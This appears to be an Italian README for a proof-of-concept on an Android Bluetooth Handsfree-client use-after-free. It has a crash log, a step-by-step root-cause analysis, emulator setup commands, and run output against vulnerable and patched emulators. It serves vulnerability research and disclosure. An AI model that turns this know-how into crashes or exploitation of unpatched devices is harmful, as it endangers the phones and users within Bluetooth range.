## Altri risultati

Questi provengono dal mio [proof-of-concept originale](https://github.com/zhuowei/blueshrimp/tree/first-poc) prima che capissi come riallocare il buffer:

Dopo aver forzato un emulatore Android 15 a comportarsi come altoparlante Bluetooth, l'esecuzione di questo codice produce una null deference:```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-11-13 22:03:35.264596895-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 5549, tid: 5589, name: bt_main_thread  >>> com.google.android.bluetooth <<<
uid: 1002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x2a20010000000000
    x0  00000074d49ccf5a  x1  b4000076cb2f4f80  x2  0000000000000035  x3  000000752fd5403c
    x4  b4000075cb32c6f9  x5  b40000764b322462  x6  0000000000000035  x7  b4000076db2ef159
    x8  0007ac63ecbcb3da  x9  0000000000000002  x10 b40000764b322460  x11 00000074d476c3a4
    x12 000000000000000c  x13 000000007fffffff  x14 0000000000000001  x15 000006a9e9459ce0
    x16 00000074d4974360  x17 00000077fcd25700  x18 00000074d0aa8060  x19 00000074d49ccf5a
    x20 00000074d3e9d98b  x21 2a20010000000000  x22 00000074d3e28d23  x23 00000074d414ae8c
    x24 000000752fd54a80  x25 0000000000003002  x26 b4000076cb2f4f80  x27 00000074d3e9d92c
    x28 000000752fd541f0  x29 000000752fd53fd0
    lr  00000074d476702c  sp  000000752fd53940  pc  00000074d476ab88  pst 0000000060001000

14 total frames
backtrace:
      #00 pc 0000000000969b88  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_log_attribute_metrics(RawAddress const&, tSDP_DISCOVERY_DB*)+284) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #01 pc 0000000000966028  /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+1104) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #02 pc 0000000000965884  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+296) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #03 pc 00000000009f45cc  /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+12968) (BuildId: 6f08819253185bc44c9fec07ed93c598)

I have not tested this on a physical device.

## La mia comprensione di ciò che sta accadendo

Le cuffie Bluetooth utilizzano il [profilo Handsfree](https://github.com/zhuowei/blueshrimp/blob/main/%3Chttps%3A/en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)>).

Il profilo Handsfree è particolare: a differenza della maggior parte dei servizi Bluetooth, in cui un lato agisce da client e l'altro da server, sia la cuffia sia il dispositivo che si connette (ad es. un telefono) devono eseguire un server Bluetooth.

Dopo che il telefono si connette al servizio Handsfree della cuffia (0x111e), la cuffia si riconnette al servizio Handsfree Audio Gateway del telefono (0x111f).

Quando un telefono apre una connessione RFCOMM al servizio Handsfree della cuffia, nel codice hf_client della cuffia:

- [bta_hf_client_allocate_handle](https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f) alloca un handle `tBTA_HF_CLIENT_CB` dal pool
- [bta_hf_client_do_disc](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) alloca una `tSDP_DISCOVERY_DB`, la memorizza in `client_cb->p_disc_db` e avvia la discovery SDP
- [SDP_ServiceSearchAttributeRequest2](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce) memorizza la `tSDP_DISCOVERY_DB` nel `p_ccb->p_db` di una `tCONN_CB`, quindi si connette al servizio SDP del telefono
- ora la `tSDP_DISCOVERY_DB` è memorizzata sia nell'handle `client_cb->p_disc_db` di hf_client sia nel `p_ccb->p_db` del layer SDP

Quando la connessione RFCOMM del telefono viene chiusa:

- [bta_hf_client_mgmt_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b) emette un `BTA_HF_CLIENT_RFC_CLOSE_EVT`
- [la tabella di stato bta_hf_client_st_opening](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) chiama il gestore per [bta_hf_client_rfc_close](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) e reimposta la macchina a stati su `BTA_HF_CLIENT_INIT_ST`
- [bta_hf_client_sm_execute](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) rileva la transizione di stato e dealloca l'handle `tBTA_HF_CLIENT_CB` restituendolo al pool
- Tuttavia, prima della patch, la connessione SDP non viene cancellata ed è ancora in attesa di una risposta
- In questo momento, c'è una `tBTA_HF_CLIENT_CB` restituita al pool non allocato, con `client_cb->p_disc_db` ancora impostato e una discovery SDP ancora attiva

Quando il telefono risponde alla discovery SDP con un errore:

- [bta_hf_client_sdp_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) emette un `BTA_HF_CLIENT_DISC_INT_RES_EVT`
- [la tabella di stato bta_hf_client_st_opening](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) chiama il gestore per [bta_hf_client_disc_int_res](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989)
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) dealloca `client_cb->p_disc_db`
- quindi ora la `tSDP_DISCOVERY_DB` è deallocata, `client_cb->p_disc_db` è null, e il layer SDP non ha più un `p_ccb->p_db` verso il DB di discovery.

Tuttavia, se il telefono apre di nuovo RFCOMM prima che la prima discovery SDP risponda:

- riallochiamo un handle (probabilmente lo stesso handle che era stato deallocato al pool in precedenza) e chiamiamo di nuovo la discovery.
- ora `client_cb->p_disc_db` punta a una nuova `tSDP_DISCOVERY_DB`, e il layer SDP contiene due `tSDP_DISCOVERY_DB`: un `p_ccb->p_db` contiene il vecchio DB della prima connessione e un `p_ccb->p_db` contiene il nuovo DB della seconda connessione

Ora, il telefono risponde alla prima discovery SDP con un errore:

- il layer SDP chiude il `p_ccb` della prima connessione
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) dealloca `client_cb->p_disc_db`, che è il DB della _seconda_ connessione
- ora il `client_cb->p_disc_db` di hf_client è deallocato e impostato a null, e il `p_ccb` SDP della prima connessione è sparito
- ma il `p_ccb` della seconda connessione è ancora attivo, quindi `p_ccb->p_db` per la seconda richiesta di discovery SDP punta a una `tSDP_DISCOVERY_DB` deallocata

Infine, il telefono risponde alla seconda discovery SDP con una risposta reale:

- il layer SDP elabora i dati in arrivo in [sdp_data_ind](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46) e li smista a sdp_disc_server_rsp
- [process_service_search_attr_rsp](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) inizia a leggere da `p_ccb->p_db`
- poiché `bta_hf_client_free_db` aveva già deallocato `p_db` in seguito alla risposta di errore della prima discovery SDP, la seconda risposta SDP causa un use-after-free.

Quello che non capisco:

- Bionic supporta [malloc_debug](https://android.googlesource.com/platform/bionic/+/master/libc/malloc_debug/README.md): impostando `"LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"` la memoria viene riempita con `0xef` al momento della deallocazione. Perché non vedo `0xef` nel log del crash?

## Esecuzione

Crea un emulatore Android Studio con Android Automotive 14, API 34-ext9, "Android Automotive with Google APIs arm64-v8a System Image", versione 5 - questo ha Headset Client abilitato di serie.

In alternativa, per far sì che l'emulatore Android non Automotive emuli una cuffia Bluetooth:

Avvia un emulatore Android locale per Android 15 in Android Studio. (Sto usando l'emulatore Android per Android 15, "Google APIs ARM 64 v8a System Image", versione 9)```
adb root
adb shell
setprop bluetooth.profile.hfp.hf.enabled true
# optionally:
# setprop wrap.com.google.android.bluetooth "LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"
am force-stop com.google.android.bluetooth

Se l'emulatore è vulnerabile (ad esempio Android 15 API 35 "Google APIs ARM 64 v8a System Image" revisione 9), otterrai:```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097284.153459 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097284.158812 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x1025ae3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(00001106-0000-1000-3500-1C0000110600)])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
(env) zhuowei-laptop:blueshrimp zhuowei$

Se l'emulatore non è vulnerabile (ad es. Android 16 API 36.1 "Google APIs ARM 64 v8a System Image" revisione 3)```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763092971.476083 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763092971.486513 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x10697e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
Traceback (most recent call last):
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in <module>
    asyncio.run(main())
    ~~~~~~~~~~~^^^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
    return runner.run(main)
           ~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
    return self._loop.run_until_complete(task)
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
    return future.result()
           ~~~~~~~~~~~~~^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 86, in main
    device.sdp_server.orig_on_sdp_service_search_attribute_request(
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        requests[1])
        ^^^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1330, in on_sdp_service_search_attribute_request
    self.send_response(
    ~~~~~~~~~~~~~~~~~~^
        SDP_ServiceSearchAttributeResponse(
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ...<4 lines>...
        )
        ^
    )
    ^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1063, in send_response
    self.channel.send_pdu(response)
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/l2cap.py", line 772, in send_pdu
    raise InvalidStateError('channel not open')
bumble.core.InvalidStateError: channel not open
(env) zhuowei-laptop:blueshrimp zhuowei$